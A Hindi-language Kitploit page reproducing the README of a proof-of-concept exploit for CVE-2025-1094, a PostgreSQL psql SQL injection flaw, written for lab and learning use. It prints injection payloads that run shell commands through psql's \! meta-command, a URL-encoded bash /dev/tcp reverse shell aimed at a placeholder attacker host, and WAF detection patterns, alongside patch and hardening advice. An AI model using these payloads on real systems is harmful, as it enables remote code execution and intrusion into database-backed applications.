Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
POC-CVE-2025-1094 — CVE-2025-1094 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, PostgreSQL psql SQL इंजेक्शन भेद्यता जो क्राफ्टेड मल्टीबाइट बाइट अनुक्रमों के माध्यम से रिमोट कोड निष्पादन को सक्षम बनाती है। इसमें डॉकर-आधारित प्रयोगशाला वातावरण और स्वचालित एक्सप्लॉइट स्क्रिप्ट शामिल है। | Kitploit
उपकरण/GitHubGitHub/trandonga3/poc-cve-2025-1094
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubtrandonga3/poc-cve-2025-1094

POC-CVE-2025-1094

CVE-2025-1094 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, PostgreSQL psql SQL इंजेक्शन भेद्यता जो क्राफ्टेड मल्टीबाइट बाइट अनुक्रमों के माध्यम से रिमोट कोड निष्पादन को सक्षम बनाती है। इसमें डॉकर-आधारित प्रयोगशाला वातावरण और स्वचालित एक्सप्लॉइट स्क्रिप्ट शामिल है।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
3 महीने पहलेअभी तक समीक्षित नहीं

POC CVE-2025-1094: PostgreSQL psql SQL इंजेक्शन

प्रूफ ऑफ कॉन्सेप्ट PostgreSQL क्लाइंट libpq और psql टूल में गंभीर SQL इंजेक्शन भेद्यता के लिए

📋 विषय सूची

  1. भेद्यता का परिचय
  2. प्रोजेक्ट निर्देशिका संरचना
  3. हमले के पेलोड का विश्लेषण
  4. उपयोग के निर्देश
  5. सुधार और रोकथाम के उपाय

1. भेद्यता का परिचय

सामान्य विवरण

CVE-2025-1094 PostgreSQL के क्लाइंट लाइब्रेरी libpq और कमांड-लाइन टूल psql में एक गंभीर भेद्यता है। यह भेद्यता हमलावर को SQL इंजेक्शन करने और रिमोट कोड एक्जीक्यूशन (RCE) तक बढ़ाने की अनुमति देती है, भले ही एप्लिकेशन PQescapeLiteral जैसे मानक स्ट्रिंग एस्केप फ़ंक्शन का उपयोग कर रहा हो।

मूल कारण

यह त्रुटि psql के स्ट्रिंग एस्केप लाइब्रेरी और पार्सर के बीच अमान्य मल्टीबाइट बाइट सीक्वेंस (जैसे UTF-8) को संभालने में असंगति से उत्पन्न होती है।

दो मुख्य हमला तंत्र:

1. एस्केपिंग को बायपास करना

  • PQescapeLiteral फ़ंक्शन एक "नए बाइट" (जैसे 0xC0) से धोखा खा जाता है
  • यह इस बाइट और उसके साथ आने वाले सिंगल कोट (') को एक ही कैरेक्टर मान लेता है
  • जिसके परिणामस्वरूप उस सिंगल कोट को एस्केप नहीं किया जाता

2. मेटा-कमांड के माध्यम से RCE

  • जब यह दोषपूर्ण स्ट्रिंग psql टूल में डाली जाती है
  • हमलावर SQL स्टेटमेंट से बच सकता है और psql के सिस्टम कमांड \! का उपयोग कर सकता है
  • जो सर्वर पर मनमाना शेल कोड चलाने की अनुमति देता है

2. प्रोजेक्ट निर्देशिका संरचना

प्रोजेक्ट को C libpq फ़ंक्शन को कॉल करते समय एक व्यावहारिक वातावरण का अनुकरण करने के लिए व्यवस्थित किया गया है:

root@kitploit:~
.
├── docker-compose.yml       # PostgreSQL + वेब ऐप प्रारंभ करें
├── exolit.py               # एक्सप्लॉइट स्क्रिप्ट - बाहर से हमला
├── README.md               # यह दस्तावेज़
└── app/
    ├── app.py             # Flask वेब ऐप - यूजर इनपुट प्राप्त करें
    ├── Dockerfile         # कमजोर कोड वाली इमेज बनाएं
    └── init_db.sql        # डेटाबेस प्रारंभ करें

मुख्य घटक:

  • Flask वेब ऐप: /search एंडपॉइंट के माध्यम से यूजर से इनपुट प्राप्त करता है
  • libpq C फ़ंक्शन: SQL क्वेरी को संसाधित करता है लेकिन वैध बाइट्स की जाँच नहीं करता
  • psql मेटा-कमांड: \! के माध्यम से सिस्टम कमांड निष्पादित करने की अनुमति देता है
  • सबप्रोसेस पाइप: एप्लिकेशन इनपुट स्ट्रीम के माध्यम से SQL स्टेटमेंट को psql में धकेलता है

3. हमले के पेलोड का विश्लेषण

नमूना पेलोड

root@kitploit:~
hax\xc0'; \! id; #

प्रत्येक घटक का डिकोडिंग:

निष्पादन प्रक्रिया:

root@kitploit:~
1. यूजर इनपुट: hax\xc0'; \! id; #
   ↓
2. PQescapeLiteral() \xc0 + ' को हमले के रूप में नहीं पहचानता
   ↓
3. स्ट्रिंग psql को भेजी गई: hax\xc0'; \! id; #
   ↓
4. psql पार्स करता है: \xc0 भाग को स्ट्रिंग का अंत माना जाता है
   ↓
5. मेटा-कमांड \! सक्रिय हो जाता है
   ↓
6. शेल कमांड id कंटेनर के विशेषाधिकारों के साथ निष्पादित होता है

4. उपयोग के निर्देश

विधि 1: Docker Compose का उपयोग करें (अनुशंसित)

चरण 1: वातावरण प्रारंभ करें

root@kitploit:~
docker-compose up -d

चरण 2: कंटेनरों के प्रारंभ होने की प्रतीक्षा करें

root@kitploit:~
docker-compose ps

सुनिश्चित करें कि PostgreSQL और Flask ऐप दोनों चल रहे हैं।

चरण 3: एक्सप्लॉइट निष्पादित करें

root@kitploit:~
python exolit.py

अपेक्षित परिणाम: सर्वर से प्राप्त uid=0(root) जानकारी प्रदर्शित होगी

चरण 4: वातावरण बंद करें

root@kitploit:~
docker-compose down

विधि 2: Burp Suite का उपयोग करें (मैन्युअल)

HTTP अनुरोध भेजें

/search पर निम्नलिखित बॉडी के साथ एक POST अनुरोध भेजें:

root@kitploit:~
name=hax%c0%27;+\!+id+;+%23

URL एन्कोडिंग संदर्भ:

  • %c0 = \xc0 (अमान्य UTF-8 बाइट)
  • %27 = ' (सिंगल कोट)
  • %23 = # (हैश चिह्न)
  • + = space

रिवर्स शेल पेलोड:

root@kitploit:~
hax%c0%27;+\!+bash+-c+"bash+-i+>%26+/dev/tcp/<hacker-ip>/<hacker-port>+0>%261"+;+%23

नोट: <hacker-ip> और <hacker-port> को अपने अटैकर मशीन के IP और पोर्ट से बदलें


5. सुधार और रोकथाम के उपाय

A. पैच अपडेट करें

PostgreSQL को पैच किए गए संस्करणों में अपग्रेड करें:

संस्करणसुरक्षित संस्करण
17.x≥ 17.3
16.x≥ 16.7
15.x≥ 15.11
14.x≥ 14.16
13.x≥ 13.19

B. एन्कोडिंग जाँचें

प्रसंस्करण से पहले हमेशा सत्यापित करें कि इनपुट डेटा मान्य UTF-8 है या नहीं:

root@kitploit:~
def validate_utf8(data):
    try:
        data.encode('utf-8').decode('utf-8')
        return True
    except UnicodeDecodeError:
        return False

C. psql CLI का उपयोग सीमित करें

एप्लिकेशन प्रोग्रामिंग में, आधिकारिक ड्राइवर लाइब्रेरी का उपयोग करें:

root@kitploit:~
# ❌ नहीं: subprocess + psql का उपयोग करना
subprocess.run(['psql', '-c', user_input])

# ✅ हाँ: psycopg2 के साथ पैरामीटराइज्ड क्वेरी का उपयोग करना
import psycopg2
conn = psycopg2.connect("...")
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE name = %s", (user_input,))

D. न्यूनतम विशेषाधिकार सिद्धांत

  • वेब ऐप को root विशेषाधिकार के तहत न चलाएं
  • डेटाबेस को root विशेषाधिकार के तहत न चलाएं
  • न्यूनतम विशेषाधिकार वाले समर्पित उपयोगकर्ता का उपयोग करें

E. WAF / IDS नियम

पैटर्न का पता लगाने के लिए नियम सेट करें:

root@kitploit:~
- अनुरोध बॉडी में बाइट 0xC0, 0xC1
- यूजर इनपुट में मेटा-कमांड `\!`
- `; \!` या `' \!'` जैसे स्ट्रिंग

📚 संदर्भ

  1. स्रोत कोड फ़ाइल का लिंक (पैच से पहले) आप संस्करण 17.2 (जिसमें अभी भी बग है) पर src/interfaces/libpq/fe-exec.c फ़ाइल देख सकते हैं:

    • GitHub लिंक: PostgreSQL fe-exec.c टैग REL_17_2 पर (https://github.com/postgres/postgres/blob/REL_17_2/src/interfaces/libpq/fe-exec.c)
    • महत्वपूर्ण फ़ंक्शन: PQescapeStringInternal फ़ंक्शन खोजें (आमतौर पर लाइन 3400 के आसपास)। यह "कोर" फ़ंक्शन है जिसे PQescapeLiteral और PQescapeString दोनों कॉल करते हैं।
  2. "पैच" देखें (व्हाइट-बॉक्स के लिए सबसे महत्वपूर्ण) यह समझने के लिए कि उनसे गलती क्यों हुई और उन्होंने इसे कैसे ठीक किया, सबसे अच्छा तरीका कमिट डिफ (बग वाले और पैच वाले संस्करण के बीच का अंतर) देखना है।

    • आधिकारिक कमिट लिंक: libpq में अमान्य मल्टीबाइट कैरेक्टर के एस्केपिंग को ठीक करना (https://github.com/postgres/postgres/commit/8276f5055b1111005a8ce6f15792015e71f5307b)
  3. भेद्यता विश्लेषण लेख: https://www.rapid7.com/blog/post/2025/02/13/cve-2025-1094-postgresql-psql-sql-injection-fixed/

टूल डाउनलोड करें
घटकमानअर्थ
डेटा इनपुटhaxसामान्य साधारण डेटा
नया बाइट\xc0अमान्य UTF-8 बाइट - एस्केपिंग को बायपास करता है
कोट'सिंगल कोट "छिपकर" - फिल्टर से बच जाता है
SQL समाप्त;वर्तमान SQL स्टेटमेंट समाप्त करता है
मेटा-कमांड\!psql का विशेष कमांड - OS शेल में बाहर निकलता है
शेल कमांडidनिष्पादित करने का कमांड (रिवर्स शेल से बदला जा सकता है)
टिप्पणी#SQL टिप्पणी चिह्न - अतिरिक्त भाग को निष्क्रिय करता है